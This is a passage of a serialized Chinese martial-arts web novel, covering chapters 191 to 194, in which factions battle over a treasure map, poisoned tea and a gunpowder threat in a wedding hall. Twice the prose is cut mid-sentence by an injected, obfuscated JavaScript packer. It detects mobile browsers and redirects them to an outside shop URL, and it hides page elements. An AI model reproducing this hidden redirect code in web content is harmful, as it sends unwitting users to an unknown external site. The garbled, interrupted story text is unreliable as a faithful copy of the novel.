恰与此同时,魏菘泽身后现出了苏茂霖的身影。另一边,骆雁声和瑾瑜也加入了战团。喜堂之外,与文远骥同来、中了毒被囚禁起来的天魄门子弟撞上了赶来增援的魏宅守卫,两拨人纠缠在了一起。 曲庭洲一面拉着贺新韵左闪右避,一面口中骂骂咧咧,直到瞥见骆雁声,才终于露出笑来,还抽空对贺新韵道:“救兵可算是来了!” 同样感到欣慰的还有方乂安。自步入喜堂开始,他就尽量扮演着透明人,半点也不想牵扯进魏菘泽和文远骥的纷争之中。对瑾瑜的担心随着时间流逝越来越强烈,各种胡思乱想充斥脑海,他几乎花了所有精神,才勉强抵御住当着魏菘泽的面离席、直奔那所曾经关押文远骥的小房子的念头。 当几方势力叫嚣着要杀死许淑平泄愤之时,他就做好准备,一旦开战无论如何也要溜出去。 瑾瑜的到来终于缓解了他持续多时的焦虑,但儿子身上显而易见的伤口还是为这份喜悦投下了阴影。更不用说,瑾瑜正和人以命相搏,若魏菘泽等人最终取得上风,那瑾瑜只有死路一条。 方乂安只犹豫了一瞬,瞅准瑾瑜的位置蹿了过去,虽然他武力有限,却也无法眼睁睁看着儿子独力难支。 瑾瑜等人换上守卫服色后在方乂安的掩护下先去了骆雁声提前和乐青澜定下的接应之处,赶在被人发现之前将齐雅雯交给了乐青澜。 随后,近处守卫闻风赶来,骆雁声早有准备,几枚暗器便将人悄无声息地放倒。三人合力,将这几个守卫藏在了草丛之下。继而马上离开,去关押文远骥的处所。 从这里开始,行动就不再那般轻而易举。 先是,他们虽然顺利找到了关押之处,却遭到了顽强的抵抗。很明显,守在此处的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182531|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一般的护卫,而是特意挑选出来的高手。骆雁声谋定而后动,在苏茂霖和人交手之际躲到高处观察,先击毙了负责示警的守卫,继而加入战团,帮他分去了四个高手。功夫稍逊一筹的瑾瑜趁着无人值守溜入暂作牢狱的屋子。 当时文远骥已被人带走,屋中只有和他同来、被魏彦成下了迷药毫无气力的天魄门弟子,打头的是党元恒。他认得瑾瑜,见来人是他便欢喜不已。瑾瑜把自己手上的解药分给他们,待所有人行动恢复自如后,三两句问明文远骥的去向,然后便一齐冲了出去。 饶是如此,他们一伙人还是花了不少时间才将所有守卫击毙。到了最后,只有骆雁声全身完好,瑾瑜和天魄门子弟身上都多了不少伤口。苏茂霖本就受了内伤未得医治,和高手对阵再度牵动伤情,如今虽能行走,却有些踉跄。 骆雁声想帮他看伤,却被他拒绝了。文远骥和紫璇都被魏菘泽提走,晚一刻赶过去就多一分危险。此时此刻,救他们更加紧要。 于是,瑾瑜打头阵,准备捉个过路的下人询问喜堂在何处,却发现了匆匆而过的魏彦成。魏彦成带着人去查许淑平的行踪,尚无所获就被魏菘泽差人叫了回来,此刻正有些暴躁,对着引路的下人又踢又打,和瑾瑜印象中的那个人完全不一样。 他立刻隐回到屋檐之下,将自己的难以置信和无尽疑惑说给了身侧的骆雁声。却被告之,杜彦成实际上是魏菘泽的儿子,他一直隐藏身份,就是为了借机生事。 瑾瑜还在震惊之中,骆雁声却已经有了计谋,他立刻招手,让所有人小心跟着他,他则着顺着杜彦成离开的方向冲在前面。 此刻魏宅中的守卫主要集中在喜堂和魏若琛的住处,他们一路上既没有遇到多少阻碍,也没有惊动旁人。一直到喜堂外不远处,骆雁声才示意所有人停下。 喜堂之中守卫众多,高手云集,任何一点儿异动都会引发袭击。保险起见,最好只让一人潜入,先把握清楚当前的局面再作计较。瑾瑜自告奋勇,苏茂霖虽然也想早一点知道紫璇的情况,但考虑到自己受了伤容易出意外便没有多嘴。 于是,骆雁声带着其余人照旧隐伏左近的屋檐之下,瑾瑜悄悄跃起,上了院外的一棵大树,又一点一点往前,挪到了一处既可以隐蔽自己,又可以窥见喜堂内部的位置。 这之后,他便在这颗树上目睹了许淑平突然现身,击碎在场贪婪之人的美梦,可欣喜尚未褪去,就又听到了对她的诘难和讨伐。他意识到许淑平将有危险,顾不上被人发现,立刻飞身去找骆雁声等人。 也辛亏他有此机敏,骆雁声和苏茂霖才赶得及去帮许淑平和紫璇对敌。但党元恒几个就没那么幸运了,他们正好和温叔遣来的新一批守卫遭遇在一起,守卫们人数众多,功夫也不弱,即便他们和江邵谦带来的人配合在一起也不是这些人的对手,很快天魄门弟子之中便有了死伤。 喜堂之上亦不乐观,战局岌岌可危。 191. 众怒(二) 按照许淑平原本的计划,只要当众表明藏宝图遥不可及,至少能暂缓魏菘泽挖掘宝藏的野心,亦可削弱旧部们因藏宝图的归属而对魏菘泽生出的归附之意。 谁曾料到,对于不想接受的事实,人的第一反应是极力否认,待到不得不硬吞下去时,也会把揭露事实的人扯入地狱,仿佛消灭了他就能填补内心的缺口一样。 旧部的攻讦突如其来,天魄门的主力被缠住了手脚无法分身。魏宅的守卫们就只能由党元恒几个年轻子弟应对,局面失衡是早晚之事。 更何况,葛宏丰和薛粲皆是当世高手,占志高和张久辉也不遑多让,再加上魏菘泽和原本就蓄养在魏宅之内的别派高手,胜利的天平正在向着敌方倾斜。 许淑平有骆雁声帮忙御敌,不时能分出些许注意关注内外局势。亲眼目睹了从太白山赶来的弟子们接连倒下,江邵谦同范宝林胸前挂彩,苏茂霖和方乂安脚步虚浮似受了重伤,紫璇虽能支持却总也逃不开魏菘泽的掌风,更不用说功夫本就一般迟早会倒下的瑾瑜和贺新韵,每一幕都令她胸中绞痛。 她自诩知人善任,沉稳善谋,却在关键时刻高估了人的理智、低估了这帮人的贪念,这份疏忽眼看着就要葬送掉弟子亲人的性命和天魄门的未来,她无奈地叹了口气,旋即矮身推出一掌,用了八成力,这才避过薛粲的大刀,又快又准地攻向蓄势而来的占志高小腹。占志高凌空飞出,落在葛宏丰脚边,手臂撑在身下良久都没能站起来。而许淑平本人,也在这一招后有些脱力,站得不再如刚才那么稳当。 “都住手!” 趁着占志高的败北带来的震撼,许淑平秉住呼吸高喊了一声。许多尚未停手之人也因此放缓了出招的速度。 “若还想交易,就都把手停下!” 许淑平紧接着又说了一句,声音已不似刚才洪亮,但在罢斗之人越来越多的当下听来仍然足够清晰。 张久辉最先停手,接着薛粲还刀入鞘,谢立栋被紫璇刺伤,谢立梁终于能扶着他去边上歇一歇。魏菘泽手一扬,魏宅的守卫即刻退到一边,占志高和葛宏丰也随之收招,他们带来的随从也立刻聚拢到其身后。 就这样,紧张的战势顷刻间止息,场面顿时陷入安静。 魏菘泽环顾四周,若有所思;骆雁声虽然收招,头脑却依然警惕,方乂安立刻拉住瑾瑜,想趁机离开,却被瑾瑜甩开了手。紫璇终于可以盯着他打量,在看到他身上的几抹血色后马上露出担心的表情,瑾瑜摇摇头,报之以安抚的微笑。 葛宏丰喘匀了气,立马直挺挺对着许淑平:“你说要‘交易’,我们才肯停手。莫非你终于看清自己的实力,又肯把藏宝图交出来了?” “藏宝图”三个字俨然成了开关,刚刚沉寂了一瞬的众人立马来了精神,纷纷拿眼睛望着许淑平。 许淑平轻蔑一笑:“适才我说的话句句属实,无论是贺家庄还是太白山,都不可能再找出半点藏宝图的消息。” “不是藏宝图?!那你要交易什么!?”张久辉马上叫了出来,怒气直冲屋顶。 许淑平心中发虚,即便没有更好的办法也要硬着头皮试一试。如果不奏效,那就只有和这些人鱼死网破。她看了看正担心望着自己骆雁声,心中默念:还好有他,没了我他还可以顶上来,只要这些旧部们肯放手,他和远骥至少能护住几个小辈。 这种时刻,连叹气皱眉都是多余的,许淑平走到中央,平静道出自己的筹码:“我的命。” 骆雁声立刻就要出声阻止,却在最后一刻屏住了呼吸,贺新韵更是惊叫一声。文远骥一方的几个人也都急冲冲朝她的方向看来。 “无论你们想不想承认,这世上再无藏宝图已成事实。我就是想拿它与你们交易也做不到。既然我毁了你们打开宝藏、称霸一方的指望,那就按照你们说的,把命赔给你们吧。” 文远骥也上前两步,对着她坚决摇头,继而向众人道:“烧毁典籍由我点头,如要追究,我首当其冲。师娘乃师父遗孀,你们若对她不敬,岂不是也亵渎了师父?“ 他转向魏菘泽:“你处心积虑,用藏宝图设了一计又一计,不就是为了这个门主吗?宝藏已经不可能找到,但门主之位尚在。只要你肯说服他们不再追究藏宝图,再把我的人放走,我以及天魄门的门主之位,都是你的。” “不行!”魏菘泽尚未回话,许淑平抢先阻止:“一人做事一人当,不用你烂充好人!什么门主夫人,我可不稀罕,你们也不必顾及什么身份地位,杀了我,放了其余人!” 她一边说,一边冲文远骥使眼色,还冲着紫璇的方向摇头。文远骥顿时明白了她的暗示:如果魏菘泽成了门主,他绝不会停止寻找宝藏。一旦杨世坤手上那副尚未露面的藏宝图落到他的手上,紫璇必然难有活路。 可是……他犯了难,让许淑平为此付出生命实在不成道理,他宁可死都不愿看到这一幕发生。然而,一旦这些旧部和魏菘泽联手,不管是紫璇还是余下其他人,都不可能活着出去。 文远骥的让步顿时让场上天平再度摇摆起来。没了藏宝图,魏菘泽的邀请就再无吸引力,众人也就没理由供他差遣。要是这门主之位也被他得了,自己岂不是亏得厉害。 张久辉最先反应过来,嘟囔了一句:“门主之位岂能说让就让,总得问问我们的意思吧。” 葛宏丰再进一步:“让许淑平以死谢罪,这笔恩怨就一笔勾销,我们也可早些家去!” 薛粲和占志高觑着两面局势,也说了类似的话。 文远骥举棋不定,许淑平的右掌却已高高举起。旧部和魏菘泽离心,局面已然得到控制,这便最好的结果了。她不再犹豫,掌中蓄力,向着自己胸口砸了下去。 惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192366|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼声四起,却不是为了许淑平的决绝。两道身影一前一后从人群中穿出,只一瞬间就交汇在了许淑平身前。 骆雁声出手极快,瞄得又准,只一招就拿住了许淑平的手腕,迫使其转向身侧,将掌力卸在了一旁碎裂的桌椅上。 瑾瑜轻功好,一跃之下就挡在了许淑平身前,他见骆雁声先于自己拦下了许淑平,这才松了口气,向着众人道:“你们所谓许前辈非死不可的理由,就是她毁掉了找到藏宝图的可能,是也不是?” “正是。”占志高被许淑平打伤,正羞愤不已,如能杀了许淑平正好可以泄愤,于是立刻挺着脖子大声回应。 “不过是一张藏宝图,难道比一条人命还重要?” “你个毛头小子懂什么!?那可是天魄门的百年秘宝,祖师爷爷褚慕瑶就是靠它才创立了天魄门,成了天下第一人。许淑平不过无知女流,她的人命算得了什么?”葛宏丰斥道。 “好,我不浪费时间与你们讲道理。我只问,是不是只要文门主找到藏宝图,许前辈的所谓罪名就可以消失,你们就能不再杀人?” “你找到了藏宝图?”张久辉立刻醒觉,其余人也都伸长了脖子等瑾瑜的回答。 文远骥和江邵谦对视一眼,搞不懂瑾瑜何以如此说话,紫璇和方乂安则紧张地望着他,害怕他的下一句惹恼众人,立时就有性命之忧。 “先回答我的问题。”面对数十道或激动或饥渴的目光,瑾瑜显得极为镇定,“是不是只要藏宝图还在,许前辈就能活着。我们所有人都可以安然走出这座宅院?” 最后一句,他是对着魏菘泽说的。魏菘泽眯起眼睛,脑中思绪翻腾,听他的口气,似乎他真得知道藏宝图的下落。再一想,扮作余漱的杨世坤最开始供承担不就是把图交给了他么?难不成自己一直以来都被这么个涉世未深的小子给骗了?越想就越是只有这一种可能,否则杨世坤手中的那副藏宝图怎么会怎么都不现踪迹呢? 许淑平眉心蹙起,疑惑不已。他肯定没有藏宝图,难道他要作假?要是被魏菘泽识破了怎么办? “只有货真价实的藏宝图,才能交换许淑平的命和你们所有人的自由。若只是说辞,抑或是难考的线索,恕我没有功夫和你废话。”魏菘泽显然也想到了这种可能。 瑾瑜深吸一口气,回视着魏菘泽充满警惕的眼睛:“我说的就是货真价实的藏宝图。” 这一句话中含有的笃定登时让堂上众人又躁动起来。不少人跃跃欲试,就等着瑾瑜从哪里把藏宝图掏出来。 “好!”魏菘泽却看不得这些人对藏宝图的如此热切,故意要打断瑾瑜,“既然藏宝图还有眉目,咱们就不用急在一时,凡事都可以商量。这里还有不少尸体、血迹,诸位身上也有负伤,不如我们先喘口气,各自裹伤。待收拾停当,再好整以暇地听方公子开金口,如何?” 192. 真图 也不等众人回应,他立刻招来魏彦成,让他着人清理现场。死者被抬出去安置,重伤者则被带到别处裹伤。他有有意示好,还吩咐魏彦成多拿些金疮药和热水来分给众人。 许淑平暂时性命无忧,贺新韵猛松了一口气,马上取出药瓶去帮天魄门还活着的几个弟子上药。许淑平又转头向着骆雁声,强压住此刻复杂难言的情绪,请他也去帮忙看一看己方受伤之人,特别是苏茂霖。骆雁声红着眼沉默不语,只点了点头。 喜堂之上桌椅被打得七零八落,已经没有一处完好,魏宅的下人们进进出出,很快将场地清理出来。众人大战一场,正是疲累之际,便直接在打扫干净的地上坐下来,抱着茶壶茶碗,先给自己来上一大口,缓解一下因打斗导致的口渴和藏宝图即将现世而生的燥热。 魏菘泽早就发现了骆雁声,却碍于局势无暇顾及。一想到魏若琛已经吃了他的药快一个月,魏菘泽就遍体生寒。若非藏宝图更为重要,他必会先揪住这位骆神医的衣襟好好问一问他。 趁着这个机会,他终于得以走到他面前,咬着牙问道:“你到底是谁?” 他身侧的张久辉却率先认了出来“你是许淑平的师弟,‘天目三英’骆雁声?” 骆雁声微微颔首,自嘲道:“没想到时过境迁,江湖之中竟还有人认得在下。” 天目派虽已陨落,但“天目三英”的名头仍然响亮,特别是在襄阳武林大会后,关于许淑平的传闻屡屡被提起,即便是江湖后进也都多多少少听说过一些有关“天目三英”的事迹。不过三英之一的骆雁声,绝大部分人只知他早就退隐,并不清楚他的过往,也不认识他的面容。 刚才他露了一手上乘功夫,与传闻中他和许淑平少年时便纵横江湖的传闻相合,在场之人少不了要向他打望。 瞧着魏菘泽的神色,骆雁声不难猜到他再担心什么,便直接说:“你放心,医者自有仁心,我们从没想过要害你的儿子。” “果真吗?”魏菘泽不肯轻易相信。 “天目派门规,医术只可救人,不得害人,即便是仇家也不可以。”许淑平替他补上一句。 魏菘泽虽然不服许淑平,但对她的性格恨清楚,她从不屑于耍心眼说假话。如此,他心中的隐忧便可暂且放下,集中精力应付接下来的一局。 “就请方公子把藏宝图拿出来,我们一同验一验真伪吧。” 魏菘泽瞧了一眼围在瑾瑜周边,即便喝水裹伤都不曾把眼睛从他身上错开一点儿的几个天魄门旧部,心中冷笑不止。既然都这么着急,那就让好戏开场吧。 众目睽睽之下,瑾瑜手握匕首,挑开袖窝处的一块补丁,从中抽出了一截丝帛。 在座哗然,没想到他还真能拿出一副图来,纷纷起身迈步,伸长了脖子去看瑾瑜手里的东西,那急不可耐的模样,和刚才魏菘泽拿出假图时一模一样。 早在刚刚众人休整之时,许淑平就已经期近了瑾瑜,防备着有人动手。这时,她赶在所有人之前先将他手上的图谱抢了过了,略看了几眼便低眉不语,良久才问他:“你是从哪里得来的?” “晚辈不敢隐瞒,这副图是王三山老前辈交给我的。” 去岁武林大会,以杨世坤的名义行走江湖、实为王三山首徒的高鹏自刎于师父面前,临死时偷偷将此图塞给了王三山。王三山未出襄阳就被魏菘泽的人掳走,被关押到魏宅囚牢中才发觉自己衣襟中多了一副古怪图画。 结合武林大会上听来的只言片语,他猜测这就是武林中人心心念念的藏宝图。他担心魏菘泽若知道他手上有藏宝图必起歹念,便一直将其小心收藏,从未露出过半点消息。 和瑾瑜初次见面时他也没有提起此事,直到瑾瑜传话,告诉他紫璇一定会想办法将他救走,让他稍安勿躁之后,他才告诉瑾瑜,藏宝图在自己手上,未免被魏菘泽发觉,他将图埋在了牢房的角落,上面盖着干草,几个月来无人发现。 瑾瑜再度见到紫璇,从她那里得到将有行动,让他早做准备的暗示后,他才去原本关押王三山的那个牢房取走了藏宝图。齐雅雯用头上的簪子和衣料中抽出的丝线,将图缝在了他的衣服上。 他原本的打算是,等安全离开这里就将这幅图物归原主,何曾料到它还会派上别的用场。 然而,更令他没有想到的是,藏宝图的出现非但没有熄灭天魄门旧部们对许淑平的怒火,反而再次点燃了这批人的贪欲。 许淑平的反应足以说明这幅图是真的。于是,众人的目光迅速锁定在她的手上,身体也不由自主地变成了战斗姿态。每个人心里都在盘算,只要自己抢到了藏宝图,再设法把圣女弄到手上,何用魏菘泽施舍,单凭自己就能独占宝藏、称霸武林。 文远骥、骆雁声等人感受到周围散发出的浓浓杀气,立刻围拢过来,一致对外警惕着这群蠢蠢欲动之人。 见此情景,瑾瑜才意识到自己闯了大祸,他把这些人想得太过于简单了。利益面前,什么承诺、道义,通通都不存在。他转头去看紫璇,迫切地想知道她怎么想。可紫璇的眼睛望向别处,手中按剑,姿态极为紧张。 陡然升温的空气中,魏菘泽拍掌大笑:“诸位老朋友,省省力气吧,这幅图只能是我的。” 众人不明所以,都去看他,葛宏丰趁着其他人分神,以迅捷无比的身法蹿出,下一瞬却跪坐在了地上。他的子侄急忙想去扶他,可刚一站起来也立刻跌倒。 “别挣扎了,你们刚刚喝的茶水里下了毒,别说动武了,就连站起来多走两步都难如登天。” 薛粲不信邪,刀尖在地上一撑,起身的瞬间膝盖一软,人和刀同时栽倒。其余旧部的人马也是如此。 占志高瘫在地上骂道:“魏菘泽!你竟如此狡诈!” 可 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魏菘泽笑而不语。 文远骥一方有意提防,魏彦成送来的茶水他们碰都没碰,此刻正略有些痛快地欣赏着双方的博弈。 瑾瑜对这一切厌恶到了极点,既是为了戳穿魏菘泽,也是为了刺激这些贪婪之人,大声道:“他可不会这么好心。这种毒药有子母之分,你们刚刚吃下的毒只是个开始,三日之内服下解药,虽然会恢复气力,却无法完全解毒,须在下一个三日内再吃下解药,如此循环往复,你们就会成为他的傀儡。” 心思被说破,魏菘泽并不着恼,反而无所谓道:“只要你们肯在我的麾下乖乖为我办事,解药定不会短了你们的。否则的话,你们就等死吧。” 他不再理会这些人或是谩骂或是告饶的声音,径直来到文远骥面前,目光扫过瑾瑜以及他带来的几个弟子:“我不知道王三山是如何偷把解药送了出去,让你们暂时解除了毒性,能在这里活奔乱跳。但你们别忘了,过了今天,要是拿不到新的解药,这条命还是会折在这里。” 魏菘泽转向文远骥:“你不是一向以仁义宽和自居吗?如今他们的命就掌握在你的手上,把藏宝图给我,圣女留下,我就可以把解药给你们。” “然后呢,让我们所有人被你的解药扼住喉咙,永远供你驱使吗?”江邵谦比文远骥先骂了出来。 “当然,你们也可以选择独善其身,让这些年轻的子弟们自生自灭。我倒是无所谓,只是你文远骥还能不能安坐在太白山中就不好说了。” “你得算盘打得不错。可惜呀,王老前辈忘了告诉你,这名为‘噬魂散’的毒药并非没有彻底的解法。” 骆雁声自后方步出,语调淡然,面无表情,却用一句话让在场几乎所有人的眼睛都亮了起来。 193. 鱼死网破(一) “彻底的解法?!!”占志高强撑着下坠的身子,硬是拨开挡在他身前的部下,急切地想听到下文。 魏菘泽也咬牙盯着面前的骆雁声:“你什么意思?” “字面意思,”骆雁声轻轻一哂,“噬魂散也好,摄魂丹也罢,实则都是掺了鬼压床制成的迷药,长久服食会令人上瘾,一旦断供,就会陷入疯魔,最终横死。之所以会有你刚刚所言的毒性,只是因为在炼制噬魂散时掺入了一种不当即发作的毒素,而相应的,摄魂丹中有能够克制该毒素的药物,只不过药物的量经过精心计算,无法彻底解毒,只能短时间内压制毒素而已。” 骆雁声侃侃而谈,魏菘泽越听眉头就皱地越紧,其余众人则喜不自胜。单单是听到这些话,身子已经如服下解药般轻快了许多。 “所以王三山借为我炼制毒药之便,私自制成了真正的解药?”魏菘泽尽可能保持着镇定,即便这一局即将输掉,他也要先问个究竟。 “不错。”骆雁声淡然答道,仿佛只是回答一个寻常的提问。 吃下瑾瑜带去解药的党元恒等人欣喜地对望了一眼,文远骥则冲着紫璇点了点头,眼含赞许。 薛粲、张久辉以及他们的部下纷纷向着骆雁声,或拱手或下拜,求他救命。 骆雁声只冷冷地扫了一眼这些人,继而看向许淑平,等她发话。许淑平靠过去,压低声音问他:“此间中毒之人甚多,王老前辈制的解药可够?” 骆雁声轻笑摇头,也低声回应:“有备而来”。说着,他还往曲庭洲的所在的方位斜了斜眼睛。 虽然他没有明说,但许淑平已然明白了他的意思。 骆雁声随苏茂霖等人出发来无锡前,已嘱咐王六赶制解药。之前为了救助被木兰庄奴役的村民,南阳小院中已对此熟门熟路,没花多长时间就炼好了不下百枚。王三山在炼毒前和他通过气,这样便可确保这批解药克制得了新炼的毒药。 至于曲庭洲,本是骆雁声行走江湖时结识的忘年好友。他事先修书求助,才有了曲庭洲带着解药不请自来。如今,这足以拿捏此间众人的宝贝药丸就藏在曲庭洲随身的几个香囊之中。 只是,有了刚才的教训,骆雁声深知现在还不是让这帮人行动自如的时候。若他们再度反水抢夺藏宝图,场上局面只会和之前一样,不利于天魄门众人。 许淑平也做此想,她清了清嗓子方才道:“你们所中之毒,要三日才会毒发,然而魏菘泽却恨不得立时要了我等的性命。两相比较,还是我们危险更大一些。诸位不如先等一等,看我们能不能先活过今日吧。” 她嘴上说着示弱的话,神色却无比坚毅。话音刚落,人已经冲向了魏菘泽。 魏菘泽即刻后撤,魏彦成一声呼喝,原本已经退下的魏家护卫又从不同的方位冒了出来。显而易见,魏菘泽并没有在毒药上孤注一掷,也留了一手。 战斗再次开启,中了毒的旧部们纷纷爬向墙角,唯恐慢一点就被哪个人的刀剑或是拳脚扫到,还没拿到解药就先把小命交代在了这里。 少了这一批力量,文远骥一方的局势明显好于之前。不过这一回魏菘泽也比之前投入了更多高手。他故意保留力量,一直到了关键时刻才全部放出。 许淑平和文远骥显然不愿交出藏宝图和圣女,魏菘泽用毒药要挟天魄门旧部的打算也落了空。此时唯有痛下杀手,宝藏才有指望,同时也可打消这些人获取解药的希望,这样他们就还会听命于自己。 魏菘泽一退之下,文远骥紧接着冲了上来,两人功夫在伯仲之间,斗得难解难分。魏宅守卫在魏彦成指挥下分扑不同方向,江邵谦、范宝林均被高手缠住,曲庭洲和贺新韵见状也立即上场,和守卫们周旋起来。 紫璇刚杀了两个守卫,魏彦成的脸就跳到了眼前。她持剑下劈,被魏菘泽用钢扇挡格,魏菘泽明显感觉她的内力比一年前强了不少,不敢托大,马上凝神应战。 在紫璇的背后,尚有许多守卫虎视眈眈,瑾瑜不顾方乂安阻拦,捡起地上被人遗留下来的长剑冲了上去,苏茂霖忍住胸中剧痛,尽可能期近女儿身边,替她抵挡随时可能的暗箭。 方乂安无奈,只能退开两步,密切关注着场上局势,尤其是瑾瑜的情况,预备他一有危险便即刻抢上。 在牢中两月,瑾瑜每日以练功打发时间,出招之时速度和准头都有提升。上一招尚未使完,下一招就已不假思索地冒了出来,虽然免不了受些小伤,但大势未失。而且打斗的时间一长,一些在练武时留下的疑问也渐渐清晰,出招便越来越顺,寻常护卫已然奈何不了他。 许淑平手握藏宝图,正同时被四个高手围攻。刚对了几招,她便认出这些人是多年前曾叱咤江湖的泰山派“天地玄黄”四大高手。 泰山派武功以刚猛雄浑著称,“天地玄黄”更是泰山派第一梯队的高手,从中单独拎一个出来都极难对付,更何况四人齐上。骆雁声瞧出来着不善,第一时间赶了过去,两人配合,暂未落败。 正激斗间,右侧天空突然显出一簇烟花,即便是在白天也能清楚看见。贺新韵立刻抽身,也从怀中取出一只烟花,飞快点燃后抛向空中。一个守卫欲趁此时将她击毙,幸好曲庭洲一直留意着贺新韵的安危,即刻补位杀死了他。 不多会儿,江珺翊和陆文渊带着十数人冲进了喜堂所在的院子,守卫们不得不分出去一批予以抵挡。 赶来增援的好手皆来自长风镖局,还有江珺翊和陆文渊。江珺翊自紫璇被擒便东去金陵,一直和齐建霄在一处。而陆文渊则受骆雁声所托向齐建霄送信,之后便继续留在金陵协助查探杜彦成的底细。 骆雁声将王三山和章煦送出魏宅时正好遇上齐建霄赶来接应的人马,曾告诉他此处守卫森严,让他设法悄无声息地除去外围守卫,再想办法入内救人,绝不可打草惊蛇。 骆雁声等人救出天魄门子弟时杀了不少守卫,魏宅中空出一角,恰好给了江珺翊等人一个突破口。他们并不清楚里面的情势,为了避免过早暴露,小心挺进的同时还需注意隐藏行迹,虽然来得不快,但的确未能引起一丝不必要的瞩目。当然,这之中也有喜堂之上战局不断,魏菘泽不得不将更多更强守卫调至此处的缘故。 天地玄黄四大高手配合严密,有人守,有人攻,在一息之间就能完成攻与守的交替。再加上四人招式极为刚 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天地玄黄少了一人,阵脚便不似刚才齐整。许淑平和骆雁声配合无间,步步杀机,局势立刻逆转。 方乂安在外围看得分明,魏宅守卫倒下得越来越多,魏菘泽在文远骥的掌风之下也渐渐左支右绌。魏彦成功夫不弱,但紫璇似乎更甚一筹,再斗下去必然落败。攻向紫璇的人虽然源源不断,但从不对她下杀招,只一味围堵,反而能轻易被苏茂霖击退。 局势一边倒,即便酣战之中,魏菘泽也觉察得出来。他猛喝一声,对文远骥递向自己小腹的右掌熟视无睹,反而将尽数内力灌注于双掌,疾推向文远骥肩头。 文远骥刚碰到他便立刻弹开,魏菘泽顾不上肚腹内翻江倒海的痛楚,立刻借机跃起,翻腾两下之后已跳到了喜堂之外。 方乂安觉出不对,心一横,立刻攻向正与瑾瑜缠斗的护卫后心。他来得猝不及防,护卫毫无防备,随即中掌倒地。但下一刻,另一个护卫持刀砍了过来,瑾瑜被补位之人牵制住,只来及看到方乂安中刀的一瞬。 瑾瑜立即侧身靠近,方乂安背后鲜血淋漓,却浑不在意,只是用力扯住儿子的胳膊,一刻都不想在此多呆:“快跟我走!” 瑾瑜本能地摇头。即便胜利在望,他也想要看到紫璇安然无恙的脱离此地。 “走!”方乂安又吼了一声。看着父亲呼吸急促,伤口中还不断涌出鲜血,瑾瑜最终没能再说出拒绝的话。方乂安门径熟路,趁着无人在意领着瑾瑜直奔喜堂之后。 翻越花园外墙时,如果瑾瑜稍稍回头,不难看到抛弃轮椅,正一个人往外疾行的魏若琛。 另一边,文远骥快速放到阻住自己的守卫,正准备向外追击,就听到魏菘泽的声音响彻喜堂:“喜堂四周布满火药,只要我一声令下,这里就会夷为平地,谁都别想活!” 他说话的同时,喜堂之上的所有守卫立刻退出争斗,即刻撤往院外,将整个院子围了起来。而他的袖口也被撸到臂弯里,露出手腕上一个细小的圆筒,手扣在机括上。显然,这个圆筒中放置着火油,只要他扣下机括放出点燃的箭头,便能立即将这里化为火海。 194. 鱼死网破(二) 贴着墙角尽全力躲避战锋好不容活下来的天魄门旧部和华山派、龙虎山诸人闻言皆是惶恐,许淑平和骆雁声也露出了不可思议的表情。魏彦成更是难以置信,什么火药,他怎么全然不知道。 “炸毁了这里,你还有你的人也一样会死。”文远骥看了一眼朝自己聚拢过来的天魄门弟子,忧心忡忡。 “那又如何,拿不到藏宝图和圣女,我便和死了没有区别。” “一处根本无人知晓的宝藏而已,值得你如此以命相搏吗?”文远骥不理解,他何以对宝藏如此执着,以至于再也无法维持平静的语调。 魏菘泽并不回应,只是将手紧紧扣在手腕,目露凶光,孤注一掷。 他的这份狠辣远超文远骥的想象,文远骥不欲鱼死网破,遂开言道:“好。我可以把藏宝图给你……” 他尚未说完,魏菘泽已经急着喊出:“还有圣女!” 文远骥克制住怒火,尽可能温言道:“师父当年接近宝藏之时也没有圣女,极有可能已找到可替代圣女的办法。不过一些毒物而已,你找人寻一寻破解的办法即可。” “不成!我问过王三山,在不明毒物为何的情况下,寻找解毒之法花费的时间绝不可能少。” “藏宝图上只有这些莫名其妙的图符,破解这些也要花费时间。”许淑平提醒他。 “这不用你管!我自会想办法!” “不过多花些时间而已,你何必如此着急?”江邵谦也仍不住质问。 “因为,他觊觎宝藏,并非时为了武功秘籍、称霸武林,而是想用传说中的霞影魂救他儿子的命。” 文远骥身后,紫璇缓缓露出头来,定定地望向此刻状如封魔的魏菘泽。 已来到魏菘泽身侧的魏彦成听了这句话,不由得退开散步,张口结舌、一脸难以置信地望着父亲。原来他为了那个儿子,可以如此不惜代价,甚至愿意搭上他自己的命,还有……我的命……强烈的背叛感涌上心头,嫉妒和不甘似要将她吞没。 “魏菘泽的儿子自小便有心疾,迁延十数年,如今已是油尽灯枯。也只能尽量用药吊住性命,缓解症状罢了。” 面对许淑平、文远骥等人疑惑的目光,骆雁声帮紫璇解释道。 他话音刚落,薛粲、占志高等人就已经爬了过来,冲着文远骥哀号:“门主、门主,求你把东西给他……” 骆雁声所言在他们听来恰如最终宣告,魏菘泽对藏宝图和圣女势在必得的决心绝无可能更改,如果不想一同被炸死在此,唯一的办法就是满足他的所有要求。 江邵谦一脚将占志高踢开,指着众多殷切望向文远骥的人:“无耻之徒!适才对师娘喊打喊杀、对门主指指戳戳的不也是你们?!” “属下知错了,属下保证,日后绝不再犯……” “少说这些自己都不信的!”江邵谦再一次打断他们,“等你们离了这里,没了危险,若魏菘泽以利相邀,让你们打上太白山,你们焉能不去!” “那文远骥就忍心我们都死在这儿吗?他还算得上什么天魄门的门主?”葛宏丰鼓着腮帮子,硬是吼了出来。 